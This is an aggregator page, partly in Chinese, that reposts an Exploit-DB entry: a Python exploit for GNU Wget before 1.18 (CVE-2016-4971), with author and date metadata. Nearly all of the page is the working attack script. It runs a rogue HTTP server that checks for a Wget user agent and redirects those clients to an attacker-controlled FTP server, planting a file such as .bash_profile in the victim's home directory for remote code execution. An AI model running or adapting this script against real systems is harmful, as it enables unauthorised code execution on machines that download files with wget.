GNU Wget < 1.18 - Arbitrary File Upload (2)

• Exploit Database
• 161 阅读

• 作者： liewehacksie
  日期： 2021-04-30
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/49815/
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  # Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2) # Original Exploit Author: Dawid Golunski # Exploit Author: liewehacksie # Version: GNU Wget < 1.18 # CVE: CVE-2016-4971   import http.server import socketserver import socket import sys   class wgetExploit(http.server.SimpleHTTPRequestHandler):   def do_GET(self): # This takes care of sending .wgetrc/.bash_profile/$file   print("We have a volunteer requesting " + self.path + " by GET :)\n") if "Wget" not in self.headers.get(&apos;User-Agent&apos;): print("But it&apos;s not a Wget :( \n") self.send_response(200) self.end_headers() self.wfile.write("Nothing to see here...") return   self.send_response(301) print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land in /home/ \n") new_path = &apos;ftp://anonymous@{}:{}/{}&apos;.format(FTP_HOST, FTP_PORT, FILE)   print("Sending redirect to %s \n"%(new_path)) self.send_header(&apos;Location&apos;, new_path) self.end_headers()     HTTP_LISTEN_IP = &apos;192.168.72.2&apos; HTTP_LISTEN_PORT = 80 FTP_HOST = &apos;192.168.72.4&apos; FTP_PORT = 2121 FILE = &apos;.bash_profile&apos;   handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)   print("Ready? Is your FTP server running?")   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex((FTP_HOST, FTP_PORT)) if result == 0: print("FTP found open on %s:%s. Let&apos;s go then\n" % (FTP_HOST, FTP_PORT)) else: print("FTP is down :( Exiting.") exit(1)   print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)   handler.serve_forever()